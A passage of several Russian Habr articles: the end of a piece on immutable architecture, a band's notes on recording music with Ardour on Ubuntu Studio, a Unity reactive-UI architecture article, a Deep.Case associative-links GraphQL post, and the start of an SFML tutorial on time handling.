Эта иммутабельная версия состоит из двух частей: иммутабельного ядра, содержащего все бизнес-правила, и изменяемой оболочки, которая работает с данными, генерируемые ядром. Такое разделение помогает нам полностью избавиться от побочных эффектов в классе AuditManager. Все методы в этом классе являются математическими функциями с четко определенными входными и выходными данными. Persister работает как поставщик входных данных для менеджера, а также как потребитель генерируемых им данных. Служба приложений склеивает их вместе.
Существует две практики, когда дело доходит до создания иммутабельной архитектуры. Во-первых, убедитесь, что вы отделили код, изменяющий состояние приложения, от кода, содержащего бизнес-логику. Сделайте изменяемую оболочку настолько тупой, насколько это возможно. Во-вторых, применяйте эти побочные эффекты как можно ближе к завершению бизнес-транзакции.
По большей части именно так функциональные языки справляются с побочными эффектами. Самая большая и самая важная часть системы - ее логика предметной области - обычно делается иммутабельной, в то время как код, вызывающий побочные эффекты, прост и понятен. | https://habr.com/ru/post/571668/ | null | ru | null |
# Как мы делали сингл на Ubuntu Studio 14.04
От создателей [Как мы создавали сингл на *Ubuntu Studio 13.10*](http://habrahabr.ru/post/206204/). Второй сингл мы делали тоже на *Ubuntu Studio 13.10*, так не хотели новых приключений. И созрели к ним только к осени. Каемся, но *KXStudio* так и не попробовали. По **объективным причинам.**лень Так что ждём статей про этот дистрибутив от других хаброюзеров.
#### Сразу выводы
Xubuntu стала сырее и баговее дефолта, а *Ubuntu Studio* баговее и сырее *Xubuntu*. Я заметил, так как сижу на *Xubuntu*+*LXDE*. На свой ноутбук буду ставить *Xubuntu* и в неё *low-latensy* версию ядра с софтом и плагинами.
Я специально нагоняю драматизма в статье для тех, кто ещё только собирается встать на этот путь. Свободное ПО — это свободное ПО, вам никто не обязан. Иногда придётся копаться или какое-то время терпеть неудобства. Для меня же как было верно, так и осталось следующее: «Нет ОС для творчества, кроме *Linux*, и разрабы *Ardour* пророки её».
#### Как это было
Подниманием пингвинов и сведением занимался человек, который на картинке сверху. Он же гитарист. А пишу я, потому что писатель и восхвалятель его подвигов. Поэтому не исключены огрехи и неточности. Пишите в личку.
Железо было то же, что и в прошлой статье.
Радует, что ПО, в частности, *Ardour* развивается. Но есть и проблемы, куда же без них?
**С этим мы уже встречались**
Купленный свежий *Ardour 3* не стал открывать старые проекты. Методом научного тыка нашли решение: открыли в *Ardour 3* из репозитория *Ubuntu*. Он удалил, как любит, несколько звуковых файлов из проекта. Он иногда это делает и без такого шикарного повода, кстати. Проект сломал всего один раз. Время от времени падает, поэтому сохраняйтесь почаще.
**Детективная история: серый кардинал плагинов**
Плагины *Calf* создали профсоюз. Они не хотели работать, когда их использовали больше 5 штук за раз. А это был костяк нашего пролетариата. Но костяку было плевать, у них был гуманизм и
```
Error in `/opt/Ardour-3.5.380-dbg/bin/ardour-3.5.380': corrupted double-linked list: 0x00007f570800e590
```
Так что процесс встал.
Стали искать тайного плагинового лидера и вдохновителя. Первым подозрение пало на библиотеку *FFT* ([обсуждение на форуме *Ardour*](https://community.ardour.org/node/8271), [обсуждение на *GitHub*](https://github.com/FFTW/fftw3/issues/16)). Она вызывалась кучей плагинов, в ней явно были баги и авторы ничего не собирались делать. Дождались обновления Ardour с костылём, решающим проблему с *FFT*. Но *Calf* продолжали бастовать.
Метод научного тыка и бубен не помогли. Осталось только два средства — поставить обратно Ubuntu Studio 13.10 и молитва. Начали со второго, и главный разработчик *Ardour* *Paul* её [услышал](https://community.ardour.org/node/8468). Он написал, что проблема в *Calf* из репозитория в *Ubuntu*. И если установить свежую версию, то профсоюз перестанет безобразничать. Установили ветку *Calf experimental*, заодно *TAP*-плагины на всякий случай обновили. Правда, на деле этого оказалось недостаточно, и пришлось ~~расстрелять~~ удалить старый набор этих плагинов. После чего переместить новые *Calf* в правильную папку.
**Я слишком хорош для того, чтобы экспортировать ваши жалкие псевдомузыкальные потуги!**
Да, один из проектов *Ardour* отказывался экспортировать в звуковой файл. Мол,
```
Exported ended unexpectedly: Exception thrown by AudioGrapher::SilenceTrimmer: process() after reaching end of input
28.10.14
Export ended unexpectedly: Exception thrown by AudioGrapher::SilenceTrimmer: process() after reacing end of input
```
*Debug* указывал на сервер *Jack*. Перед глазами были тысячи ошибок и хватание за голову/сердце/бубен. «Давай поставим 13.10 обратно». А решение было простым — не ставить полосы воспроизведения и перемотки ровно на начало. Видимо, где-то деление на ноль возникало.
**Разрабы знают лучше**
У одного из *ladspa*-плагинов сменилась логика работы и теперь бас у нас звучит иначе. Так что пресеты это хорошо, но не вечно. Воспроизвести старое звучание точь-в-точь так и не смогли. Сам я слышал раньше про такое, но столкнулся лично в первый раз.
**Обложка в *Gimp***
Профессионального дизайнера получилось привлечь только к первой обложке, так что делали сами. Но ощущения, что не хватает инструментария, так и не появилось. Не хватает навыка.
**Параллельно с этим**
Выступили на новосибирском *SFD-afterparty* с *Ardour*на ноутбуке. Через него шёл проект с ритм-секцией, а так же синтезатор. Один раз *Ardour* всё же упал при попытке запустить проект. Пришлось беседовать с залом, пока его перезапускали. Решили больше так не выступать.
#### Итого
Третий сингл мы сделали. Ссылку давать на него не вижу смысла. Разве что если сильно будут требовать. Звучит получше, но не кардинально по сравнению с прошлыми. Петь я так и не доучился, микрофон всё тот же Behringer за 500 рублей, а мониторы *Rinon* достал себе только через несколько дней после релиза. **кстати**он сразу послушал на них наши записи и загрустил. Сказал, что в следующий раз будет лучше
Вместо этого добавлю видеоконтента *just for lulz*:
**он тут**Вот первая часть гайда по *Ardour* от гитариста-звукорежиссёра:
Немного хроники записи и сведения. Чтобы вы лучше представляли, кто всё это делал:
халявим с партией, которую никак не получается нормально записать
продолжаем халявить. Кстати, сложить две дорожки в одну не получилось, пришлось нормально делать. Не помню, в чём дело точно, но звучало не очень, а вместо нарезания можно и встроенное midi использовать.
готовим аппаратуру к записи гитары
Сведение
#### Планы и дальнейшие дела
Из полезного сообществу — *Rinon* собирает новую библиотеку ударных, по кусочкам. Она будет свободной и лучше звучащей. Да, поделитесь кто-нибудь хорошими свободными семплами хэта и томов, никак не можем найти нормальные! Остальное есть. Ещё готовим скринкасты по *Ardour* и *Hydrogen*. Партии песен так же выкладываем на [гитхабе](https://github.com/orgs/gruppa-gruppa-nsk), все песни под CC-BY-SA 4.0.
*P.S.* Поделитесь в комментариях своим опытом работы с музыкой на *ubuntu-based* дистрибутивах, находками и победами. И дайте, пожалуйста, ссылки на группы, которые делают качественную музыку на свободном софте. Наверняка такие есть.
**UPD** Куда же без него. Пока по опросу тенденция ясна, и сейчас я должен покинуть онлайн. Если потом большинство будет против — то уберу ссылку. А пока вот **итоговые записи**:
[www.jamendo.com/en/list/a140754/krasota-vokrug-tjebja](https://www.jamendo.com/en/list/a140754/krasota-vokrug-tjebja) | https://habr.com/ru/post/250357/ | null | ru | null |
# Архитектурные решения для мобильной игры. Часть 3: View на реактивной тяге
В предыдущих статьях мы описали как должна быть устроена модель удобная и с широкими возможностями, какая к ней подойдёт система команд, выполняющая функции контроллеров, пришла пора поговорить о третьей букве нашей альтернативной абривиатуры MVC.
Вообще-то в ассетсторе есть готовая очень навороченная библиотека UniRX реализующая реактивность и инверсию контроля для unity. Но о ней мы поговорим в конце статьи, потому что этот могучий, огромный и соответствующий стандартам RX инструмент для нашего случая довольно таки избыточен. Делать всё что нам нужно прекрасно можно и не подтягивая RX-а, а если вы им владеете, вам не составит труда делать всё то же самое с его помощью.
[Архитектурные решения для мобильной игры. Часть 1: Model](https://habr.com/post/434582/)
[Архитектурные решения для мобильной игры. Часть 2: Command и их очереди](https://habr.com/post/435704/)
Когда человек только начинает писать первую игру ему кажется логичным существование функции, которая нарисует ему всю форму, или какую-то её часть, и дёргать её каждый раз когда изменилось что-то важное. Идёт время, интерфейс растёт в размерах, фомочек и частей формочек становится сто, потом двести, и при изменении состояния кошелька перерисовать приходится четверть из них. А потом приходит менеджер, и говорит, что надо «как вот в той игре» сделать на кнопочке маленькую красненькую точечку если внутри кнопочки есть раздел, в котором подраздел, в котором кнопочка, и теперь вам хватило ресурсов, чтобы по её нажатию делалось что-то важное. И всё, приплыли…
Отход от концепции рисования проходит в несколько этапов. Сначала решается проблема одиночных полей. Есть у вас, например, поле в модели, и текстовое поле, в котором должно показываться всё его содержимое. Ок, заводим объект, который подписывается на обновления этого поля, и при каждом обновлении складывает результаты в текстовое поле. В коде как-то так:
```
var observable = new ChildControl(FCPlayerModel.ASSIGNED, Player);
observable.onChange(i => Assigned.text = i.ToString())
```
Теперь нам не нужно следить за перерисовыванием, достаточно создать эту конструкцию, и дальше всё что происходит в модели будет попадать в интерфейс. Хорошо, но громоздко, содержит очень много явно лишних телодвижений, которые программисту придётся 100500 раз писать руками и иногда ошибаться. Завернём эти объявления в функции расширения, которые спрячут лишние буковки под капотом.
```
Player.Get(c, FCPlayerModel.ASSIGNED).Action(c, i => Assigned.text = i.ToString());
```
На много лучше, но и это ещё не всё. Перекладывание поля модели в текстовое поле на столько частая и типичная операция, что для неё мы заведём отдельную функцию-обёртку. Вот теперь получается достаточно кратко и хорошо, как мне кажется.
```
Player.Get(c, FCPlayerModel.ASSIGNED).SetText(c, Assigned);
```
Здесь я показал главную идею, которой я буду руководствоваться при создание интерфейсиков всю оставшуюся жизнь: «Если программисту что-то пришлось сделать хотя бы два раза заверни это в специальную удобную и короткую функцию».
Сбор мусора
-----------
Побочным эффектом реактивного интерфейсостроения является создание кучи объектов, которые на что-то там подписаны и потому не покинут память без специального пинка. Я для себя, ещё в стародавние времена, придумал способ не такой красивый, но простой и доступный. При создании любой формы создаётся лист всех контролеров, которые создаются в связи с этой формой, для краткости он называется просто «c». Все специальные функции-обёртки принимают этот список первым обязательным параметром и при DisconnectModel формочки она кодом, лежащим в общем предке проходит по списку всех контролов и всех их безжалостно диспоузит. Никакой красоты и изящества, зато дёшево, надёжно и относительно практично. Чуть большую защищённость можно иметь если вместо листа контролов требовать на вход IView и отдавать во все эти места this. По сути то же самое, забыть заполнить точно так же не получится, но труднее хакнуть. Я боюсь забыть, но не очень боюсь, что кто-то будет сознательно ломать систему, потому что с такими умниками нужно бороться ремнём и другими не программными способами, поэтому ограничиваюсь просто c.
Альтернативный подход можно подчерпнуть из UniRX. Каждая обёртка создаёт новый объект, имеющий ссылку на предыдущий, который он слушает. А в конце вызывается метод AddTo(component) который приписывает всю цепочку контролов к какому-нибудь уничтожимому объекту. В нашем примере такой код будет выглядеть так:
```
Player.Get(FCPlayerModel.ASSIGNED).SetText(Assigned).AddTo(this);
```
Если этот последний хозяин цепочки решит уничтожиться он всем приписанным к нему контролам передаст по цепочке команду «убей себя об dispose если тебя кроме меня никто уже не слушает». И вся цепочка послушно подчищается. Так конечно на много лаконичнее, но с моей точки зрения есть один важнючий недостаток. AddTo можно случайно забыть и никто об этом никогда не узнает, пока не станет слишком поздно.
На самом деле можно использовать грязный хак Unity и обойтись вообще без дополнительного кода во View:
```
public static T AddTo(this T disposable, Component component) where T : IDisposable {
var composite = new CompositeDisposable(disposable);
Observable
.EveryUpdate()
.Where(\_ => component == null)
.Subscribe(\_ => composite.Dispose())
.AddTo(composite);
return disposable;
}
```
Как известно, ссылка на задиспоузившийся Component или GameObject в Unity равна null. Но надо понимать что вот этот вот хакокостыль создаёт слушателя Update на каждую уничтожаемую цепочку контролов, а это уже немножко не вежливо.
Моделезависимый интерфейс
-------------------------
Нашим идеалом, которого мы, впрочем, легко достигнем, является ситуация, когда мы можем в любой момент загрузить полный GameState, как проверяемой сервером модели так и модели данных для UI, и приложение окажется ровно в том же состоянии, вплоть до состояния всех кнопочек. Мешают этому две причины. Первая заключается в том, что некоторые переменные программисты любят хранить внутри контролера формы, или даже в самом вьюве, мотивируя это тем, что их жизненный цикл в точности такой же, как и у самой формы. Вторая заключается в том, что если даже все данные для формы имеются в её модели, сама команда создать и заполнить форму проходит в виде явного вызова функции, ещё и с какими-нибудь дополнительными параметрами, например на каком поле из списка нужно сфокусироваться.
С этим можно и не бороться, если вам не очень хочется удобства отладки. Но мы не такие, мы хотим отлаживать интерфейс так же удобно как основные операции с моделью. Для этого делается следующий фокус. В UI части модели заводится переменная, например .main и в неё вы в рамках команды помещаете модель той формы, которую хотите видеть. За состоянием этой переменной следит специальный контроллер, если в этой переменной появляется модель он в зависимости от её типа инстанцирует нужную форму, поместит её куда нужно, и пошлёт ей вызов ConnectModel(model). Если переменная освободилась от модели контроллер уберёт форму из канваса и подиспоузит её. Таким образом никаких действий в обход модели не происходит, и всё, что вы сделали с интерфейсом прекрасно видно на ExportChanges модели. А дальше мы руководствуемся принципом «всё что сделано дважды оберни» и пользуемся точно тем же самым контроллером на всех уровнях интерфейса. Если в формочке есть место под другую формочку, то под неё создаётся UI модель, и в модели родительской формочки заводится переменная. Точно то же самое со списками.
Побочным эффектом такого подхода является то, что на любую формочку заводится два файла, один с моделью данных для этой формы, и другой, обычно являющийся монобехом, содержащим ссылки на UI элементы, который получив модель в свою функцию ConnectModel произведёт создание всех реактивных контроллеров для всех полей модели и всех UI элементов. Ну, обойтись ещё компактнее, так чтобы с этим ещё и работать было удобно, наверное и нельзя. Если можно — пишите в комментарии.
Контролы списков
----------------
Типичная ситуация — когда в модели имеется список каких-то элементов. Поскольку я хочу, чтобы всё делалось очень удобненько, и желательно в одну строку, то и для списков я захотел сделать что-то такое, что будет их удобно обрабатывать. Совсем уж в одну строчку можно, но она получается неудобно длинная. Эмпирически выяснилось, что почти всё разнообразие случаев покрывается всего лишь двумя типами контролов. Первый следит за состоянием какой-нибудь коллекции, и вызывает три лямбда-функции, первая вызывается когда какой-то элемент добавляется в коллекцию, второй, когда элемент покидает коллекцию, и наконец третья вызывается когда элементы коллекции меняют порядок следования. Второй самый частый тип контрола следит за списком, и является источником подсписка из него — странички с определённым номером. То есть, например, следит за List длинной в 102 элемента, а сам отдаёт List из 10 элементов, с 20-ого по 29-ый. И события генерит точно такие же как если бы сам был списком.
Конечно же, следуя принципу «создавай обёртку на всё, что было сделано два раза» появилось огромное количество удобных обёрток, например такая, которая на вход принимает только Factory, строящую соответствие между типами моделей и их View-ами, и ссылку на Canvas в который надо элементы складывать. И множество других подобных, всего около десятка обёрток для типичных случаев.
Более сложные контролы
----------------------
Иногда возникают ситуации, которые выражать через модель избыточно, на столько они очевидны. Тут на помощь могут прийти контролы, выполняющие какую-нибудь операцию над значением, а также контролы, следящие за другими контролами. Например типовая ситуация: у действия есть цена, и кнопка активна только если на счету больше денег, чем его цена.
```
item.Get(c, FCUnitItem.COST).Join(c, Player.Get(c, MONEY)).Func(c, (cost, money) => cost <= money).SetActive(c, BuyButton);
```
На самом деле ситуация на столько типовая, что в соответствии с моим принципом для неё есть готовая обёртка, но тут я показал её содержимое.
Взяли предмет, который надо купить, создали объект, который подписан на одно из его полей, и имеет значение типа long. Присовокупили к нему ещё один контрол, имеющий тип тоже long, метод вернул контрол, имеющий пару значений, и генерящий событие Changed когда меняется любой из них, дальше Func создаёт объект при любом изменении на входе вычисляющий функцию, и генерящий событие Changed если итоговое значение посчитанной функции изменилось.
Необходимый тип контрола компилятор сам успешно построит исходя из типов входных данных, и типа получившегося выражения. В редких случаях, когда тип возвращаемый лямбда-функцией не очевиден компилятор попросит вас уточнить его в явном виде. Наконец последний вызов слушает буленовский контрол, в зависимости от него включает или выключает кнопку.
На самом деле реальная обёртка в проекте принимает на вход две кнопки, одну для случая когда деньги есть и другую когда денег недостаточно, и ещё и на вторую кнопку навешивает команду открыть модальное окно «Докупите валюты». И всё вот это в одну простую строчку.
Легко заметить, что используя Join и Func можно строить сколь угодно сложные конструкции. У меня в коде встречалась функция, генерящая сложный контрол, вычисляющий на какую сумму может закупиться войсками игрок учитывая количество игроков на его стороне, и правило, что каждый может превысить бюджет на 10% если все вместе не превысили суммарного бюджета. И это пример того, как делать не надо, потому что на сколько просто и легко отлаживать происходящее в моделях на столько же сложно поймать ошибку в реактивных контролах. Вы даже словив эксепшен потратите немало времени чтобы понять что же к нему привело.
Поэтому общий принцип использования сложных контролов такой: При прототипировании формы, вы можете использовать конструкции на реактивных контролах, особенно если не уверены, что в дальнейшем они будут усложняться, но как только у вас закрадывается подозрение, что если оно сломается вы не поймёте что произошло, вы сразу же должны перенести эти манипуляции в модель, а вычисления, которые раньше делали в контролах поместить в методы-расширения в статических классах правил.
Это значительно отличается от принципа «Делай сразу хорошо», столь любимого среди перфекционистов, потому что мы живём в мире геймдева, и когда ты начинаешь прогать формочку ты совершенно не можешь быть уверен, что она будет делать через три дня. Как говорила одна моя коллега: «Если бы я получала пять копеек каждый раз когда геймдизайнеры меняют своё мнение, я была бы уже очень богатым человеком». На самом деле это не плохо, а даже наоборот хорошо. Игра должна развиваться методом проб и ошибок, потому что если вы делаете не тупой клон, то вы ваще не представляете, что на самом деле нужно игрокам.
Один источник данных для нескольких View-ов
-------------------------------------------
На столько архитипичный случай, что о нём нужно поговорить отдельно. Бывает, что одна и та же модель элемента в составе модели интерфейса отрисовывается в разных View в зависимости от того где и в каком контексте это происходит. А у нас используется принцип — «один тип, один вьюв». Например у вас есть карточка покупки оружия, содержащая одну и ту же незамысловатую информацию, но в разных режимах магазина она должна изображаться разными префабами. Решение состоит из двух частей для двух различных ситуаций.
Первое, когда этот View помещается внутрь двух разных View-ов, например магазина в виде короткого списка и магазина с большими картинками. В этом случае приходит на помощь две отдельных, по разному настроенных фабрики, строящих соответствие тип-префаб. В методе ConnectModel одного View вы воспользуетесь одним, а в другом другим. Совсем другой случай, если вам надо немного по разному показывать карточки с абсолютно идентичной информацией в одном месте. Иногда в этом случае модели элемента появляется дополнительное поле, указывающее на праздничный фончик конкретно данного элемента, а иногда просто у модели элемента появляется наследник, не имеющий никаких полей, и нужный только чтобы отрисовываться другим префабом. В принципе ничто не противоречит.
Казалось бы очевидное решение, но я насмотрелся в чужом коде на странные пляски с бубном вокруг этой ситуации, и посчитал нужным об этом написать.
Особый случай: контролы с адским количеством зависимостей
---------------------------------------------------------
Есть один очень особенный случай, о котором я хочу поговорить отдельно. Это контролы, которые следят за очень большим количеством элементов. Например, контрол, который следит за списком моделей и суммирует содержимое какого-нибудь поля, лежащего внутри каждого из элементов. При крупной перетрубации в списке, например его заполнении данными такой контрол рискует поймать столько же событий об изменении сколько в списке элементов плюс один. Пересчитывать столько раз агрегирующую функцию конечно же плохая идея. Специально для таких случаев мы делаем контрол, который подписываем на событие onTransactionFinished, которое торчит из GameState, а ссылка на GameState как мы помним, имеется в любой модели. И при любом изменении во входных данных этот контрол будет просто ставить у себя меточку, что исходные данные поменялись, а пересчитываться только тогда когда получит сообщение об окончании транзакции, или когда обнаружит, что транзакция уже закончена в момент когда он получил сообщение из входного потока событий. Понятно, что такой контрол может оказаться не защищён от лишних сообщений, если в цепочке обработки потока будет друг за другом два таких контрола. Первый накопит тучу изменений, дождётся конца транзакции, пустит поток изменений дальше, а там другой такой же, который уже кучу изменений наловил, событие о конце транзакции получил (ему неповезло оказаться раньше в списке функций подписанных на эвент), всё пересчитал, и тут ему бац и ещё одно событие об изменении, и пересчитывать всё второй раз. Так быть может, но редко, и что более важно, если у вас контролы делают такие монструозные рассчёты больше одного раза в одном потоке вычислений значит вы делаете что-то не так, и нужно переносить все эти адские манипуляции внутрь модели и правил, где им, собственно, и место.
Готовая библиотека UniRX
------------------------
И можно было бы ограничится всем выше сказанным, и спокойно начинать писать свой шедевр, тем более что по сравнению с моделью и командами контролы это очень просто и пишуться они меньше чем за неделю все, если бы подспудно не свербила мысль, что изобретаешь велосипед, и всё уже продумано и написано до меня раздаётся бесплатно всем желающим.
Расчехлив UniRX мы обнаруживаем красивую и соответствующую всем стандартам конструкцию, умеющую создавать потоки из вообще всего, ловко мерджить их, фильтровать перекладывать из главного треда в не главный, или возвращать управление обратно в главный поток, имеющую кучу готовых инстументов чтобы отсылать в разные места и так далее. Не имеем мы там ровно двух вещей: Простоты и Удобства отладки. Вы когда-нибудь пробовали по шагам в дебагере отлаживать какую-нибудь многоэтажную конструкцию на Linq-е? Так вот тут всё ещё значительно хуже. При этом у нас совершенно отсутствует то, ради чего вся эта навороченная машинерия создавалась. Ради простоты отладки и воспроизводства состояний у нас напрочь отсутствует разнообразие источников сигналов, у нас всё происходит в главном потоке, потому что заигрывания с многопоточностью в метаигре совершенно избыточны, вся асинхронность обработки команд у нас спрятана внутри движка отправки комманд и сама асинхронность занимает в нём очень не много места, гораздо больше внимания уделено всяким проверкам, самопроверкам, и возможностям логирования и воспроизведения.
В общем, если вы уже умеете в UniRX то специально для вас я сделаю для моделей IObservable, и вы сможете там где нужно пользоваться козырными возможностями любимой библиотеки, но в остальном предлагаю не пытаться строить танки из скоростных автомобилей и автомобили из танков только на том основании что и у того и у другого есть колёса.
В конце статьи у меня к вам, дорогие читатели, традиционные вопросы, очень важные для меня, моих представлений о прекрасном, и для перспектив развития моего научно-технического творчества. | https://habr.com/ru/post/436060/ | null | ru | null |
# Ассоциативные связи
Что такое идеальный "квант информации" или "минимальная единица смысла" и зачем задаваться этим вопросом? С этим связано много боли, часто даже неосознаваемой. Мы предлагаем решение, но сначала нужно разобраться для чего это нужно. Рекомендуем ознакомиться с [первой статьёй](https://habr.com/ru/post/576326/) в серии.
#### Ретроспектива
Relational tables, document oriented databases, jsonb stores... В них мы часто представляем минимальной единицей смысла модель в таблице/коллекции. Модель состоит из разной структуры колонок/полей, и отражает некий реальный объект или абстрактную концепцию автора.
Такой подход создает проблемы:
* Множество пространств адресации. (Если вы не видите ее, вскоре будет статья исключительно на эту тему, и вы увидите почему это проблема реальна).
* Множество точек контроля структуры данных, изменение которых стоит дорого.
* Совместимость только на том уровне который заложен автором.
* Неспособность полноценно описать что-то новое без создания еще одной таблицы/коллекции.
* Невозможность разделить предметы от отношений между ними.
Все эти проблемы решаются в ассоциативной модели данных Deep.Case.
> Если вам интересна оптимизация или поиск по диапазонам в графе - здесь будет ссылка.
>
>
#### Давайте разбираться
Deep.Case оперирует концепцией Link (связь) как минимальной единицей смысла / квантом информации.
#### Links таблица
Links (сеть связей) очень похожа на граф, однако в графе есть однозначное деление на nodes (узлы) и edges (рёбра) ссылающиеся только на них. Links не разделяет эти пространства адресов. Это позволяет связям ссылаться на связи и нести любой смысл который в них может заложить автор моделей данных.
#### Link структура
Структура связи состоит из обязательных уникального `id` связи и `type_id` связи используемой как тип данной связи. Необязательные поля `from_id` и `to_id` могут быть заполнены только вместе.
Типы для создания связей легко создаются пользователем самостоятельно в рамках модели проекта, или поставляются вместе с импортируемыми моделями-пакетами.
Заполненные поля `from_id` и `to_id` ссылаются на другие связи. Такими связями можно описывать любые отношения.
```
{
links(where: { id: { _eq: 8 } }) {
id
type_id
from_id
to_id
}
}
```
```
{
"data": {
"links": [
{
"id": 8,
"type_id": 1,
"from_id": 7,
"to_id": 6
}
]
}
}
```
#### Link как узел (node)
В связях можно не заполнять `from_id` и `to_id`. Такие связи играют роль node, узла, точки, предмета отношений.
```
{
links(where: { id: { _eq: 28 } }) {
id
type_id
from_id
to_id
}
}
```
```
{
"data": {
"links": [
{
"id": 28,
"type_id": 6,
"from_id": 0,
"to_id": 0
}
]
}
}
```
#### Link как связь
Если `from_id` и `to_id` заполнены, связь играет роль отношения между узлами или связями. Она может ответить на вопрос как они связаны используя `type_id`. Некоторое окружение узла связями может ответить на множество вопросов о его смысле, отношениях, предназначении, значении и состоянии.
```
{
links(where: { id: { _in: [6,7,8] } }) {
id
type_id
from_id
to_id
}
}
```
```
{
"data": {
"links": [
{
"id": 6,
"type_id": 1,
"from_id": 0,
"to_id": 0
},
{
"id": 7,
"type_id": 1,
"from_id": 0,
"to_id": 0
},
{
"id": 8,
"type_id": 1,
"from_id": 7,
"to_id": 6
}
]
}
}
```
#### Единый GraphQL API
> Это API позволяет очень многое, как например переходы по индексам на всех детей/родителей в определенных поддеревьях. Но об этом будут отдельные статьи.
>
>
Очевидно, что там доступна структура самой связи, а также из связи можно перейти к другим связям как по ее ссылкам (`from_id` и `to_id`), так и по обратным ссылкам от других связей (исходящих и входящих). Например, можно перейти на все связи которые ссылаются на данную связь по `from_id` (исходят из неё) с помощью relationship `out`, или по `to_id` (входят в неё) с помощью relationship `in`.
```
{
links(where: { id: { _eq: 8 } }) {
id
type {
id
}
from {
id
type_id
from_id
to_id
out {
id
type_id
from_id
to_id
}
}
to {
id
type_id
from_id
to_id
in {
id
type_id
from_id
to_id
}
}
}
}
```
```
{
"data": {
"links": [
{
"id": 8,
"type": {
"id": 1
},
"from": {
"id": 7,
"type_id": 1,
"from_id": 0,
"to_id": 0,
"out": [
{
"id": 8,
"type_id": 1,
"from_id": 7,
"to_id": 6
}
]
},
"to": {
"id": 6,
"type_id": 1,
"from_id": 0,
"to_id": 0,
"in": [
{
"id": 8,
"type_id": 1,
"from_id": 7,
"to_id": 6
},
{
"id": 13,
"type_id": 1,
"from_id": 6,
"to_id": 6
},
{
"id": 24,
"type_id": 22,
"from_id": 23,
"to_id": 6
}
]
}
}
]
}
}
```
#### SQL-like queries
Мы можем не только получать данные по описанным выше структурам. Мы можем применять sql-like `where` предикат для выполнения разнообразных сложных фильтраций на каждом уровне.
```
{
links(where: {id: { _eq: 6 } }) {
id
type { id }
from { id }
to { id }
out(where: { from_id: { _eq: 6} }) {
id
type_id
from_id
to_id
}
in(where: { type_id: { _eq: 1} }, limit: 1) {
id
type_id
from_id
to_id
}
}
}
```
```
{
"data": {
"links": [
{
"id": 6,
"type": {
"id": 1
},
"from": null,
"to": null,
"out": [
{
"id": 13,
"type_id": 1,
"from_id": 6,
"to_id": 6
}
],
"in": [
{
"id": 8,
"type_id": 1,
"from_id": 7,
"to_id": 6
}
]
}
]
}
}
```
#### Subscriptions
И все это сразу с поддержкой подписок. Вы можете просто сказать на изменение какой структуры вы хотите подписаться - и вы будете получать обновления результатов вашего запроса.
```
subscription {
links(where: { from_id: { _eq: 7 }, to_id: { _eq: 6 } }) {
id
type_id
}
}
```
#### Поддержите ассоциативные технологии
Мы создаем среду разработки (коробочную CE/EE версию и SaaS версию), позволяющую использовать ассоциативный подход для решения ваших бизнес задач, нуждающихся в хранении данных, с возможностью адаптации под любые изменения бизнеса. Мы создадим распределённую сеть серверных кластеров в едином ассоциативном пространстве, в том числе чтобы не думать о региональном законодательстве, создавая проект. Мы создаём культуру публикации повторно используемых моделей данных с их поведением.
Присоединяйтесь к нашему сообществу в [Discord](https://discord.com/invite/vNJCTK4nZB). Подпишитесь на ранний доступ в нашем Waitlist или поддержите нас на [Patreon](https://www.patreon.com/deepfoundation?fan_landing=true). [http://deep.foundation/](https://deep.foundation/?utm_source=habr&utm_medium=article&utm_content=article2)
На нашем сайте можно найти ссылки на черновики будущих статей находящихся в разработке, ссылки на исходники кода, планы по project и product менеджменту и invest презентации. | https://habr.com/ru/post/576398/ | null | ru | null |
# 2.1 Обработка времени
*От переводчика: данная статья является шестой в цикле переводов официального руководства по библиотеке SFML. Прошлую статью можно найти [тут.](https://habrahabr.ru/post/279279/ "Предыдущая статья: Компиляция SFML с помощью CMake") Данный цикл статей ставит своей целью предоставить людям, не знающим язык оригинала, возможность ознакомится с этой библиотекой. SFML — это простая и кроссплатформенная мультимедиа библиотека. SFML обеспечивает простой интерфейс для разработки игр и прочих мультимедийных приложений. Оригинальную статью можно найти [тут](http://www.sfml-dev.org/tutorials/2.3/system-time.php "Оригинальная статья: Handling time"). Начнем.*
**Оглавление:**0.1 Вступление
1. Приступая к работе
1. [SFML и Visual Studio](https://habrahabr.ru/post/278977/ "Перейти к статье: SFML и Visual Studio")
2. [SFML и Code::Blocks (MinGW)](https://habrahabr.ru/post/279069/ "Перейти к статье: SFML и Code::Blocks (MinGW)")
3. [SFML и Linux](https://habrahabr.ru/post/279107/ "Перейти к статье: SFML и Linux")
4. [SFML и Xcode (Mac OS X)](https://habrahabr.ru/post/279147/ "Перейти к статье: SFML и Xcode (Mac OS X)")
5. [Компиляция SFML с помощью CMake](https://habrahabr.ru/post/279279/ "Перейти к статье: Компиляция SFML с помощью CMake")
2. Модуль System
1. [Обработка времени](https://habrahabr.ru/post/279347/ "Перейти к статье: Обработка времени")
2. [Потоки](https://habrahabr.ru/post/279653/ "Перейти к статье: Потоки")
3. [Работа с пользовательскими потоками данных](https://habrahabr.ru/post/279689/ "Перейти к статье: Работа с пользовательскими потоками данных")
3. Модуль Window
1. [Открытие и управление окнами](https://habrahabr.ru/post/279957/ "Перейти к статье: Открытие и управление окнами")
2. [Обработка событий](https://habrahabr.ru/post/280153/ "Перейти к статье: Обработка событий")
3. Работа с клавиатурой, мышью и джойстиками
4. Использование OpenGL
4. Модуль Graphics
1. Рисование 2D объектов
2. Спрайты и текстуры
3. Текст и шрифты
4. Формы
5. Проектирование ваших собственных объектов с помощью массивов вершин
6. Позиция, вращение, масштаб: преобразование объектов
7. Добавление специальных эффектов с шейдерами
8. Контроль 2D камеры и вида
5. Модуль Audio
1. Проигрывание звуков и музыки
2. Запись аудио
3. Пользовательские потоки аудио
4. Спатиализация: звуки в 3D
6. Модуль Network
1. Коммуникация с использованием сокетов
2. Использование и расширение пакетов
3. Веб-запросы с помощью HTTP
4. Передача файлов с помощью FTP
Время в SFML
------------
В отличие от многих других библиотек, в которых время представлено uint32 числом секунд, или дробным числом секунд, SFML не навязывает какую либо единицу или тип для значений времени. Вместо этого она оставляет этот выбор пользователю, предоставляя класс sf::Time. Все классы и функции, манипулирующие значениями времени, используют этот класс.
sf::Time представляет период времени (другими словами, время, прошедшее между двумя событиями). Это не класс даты и времени, который представляет текущий год/месяц/день/минуту/секунду как отметку времени, это просто значение, обозначающее количество времени и предоставляющее способ интерпретировать это значение в зависимости от контекта использования.
Конвертирование времени
-----------------------
Значение sf::Time может быть построено из различных исходных единиц: секунд, милисекунд и микросекунд. Есть функции (они не являются членами класса), позволяющие конвертировать значение каждой из этих единиц в sf::Time:
```
sf::Time t1 = sf::microseconds(10000);
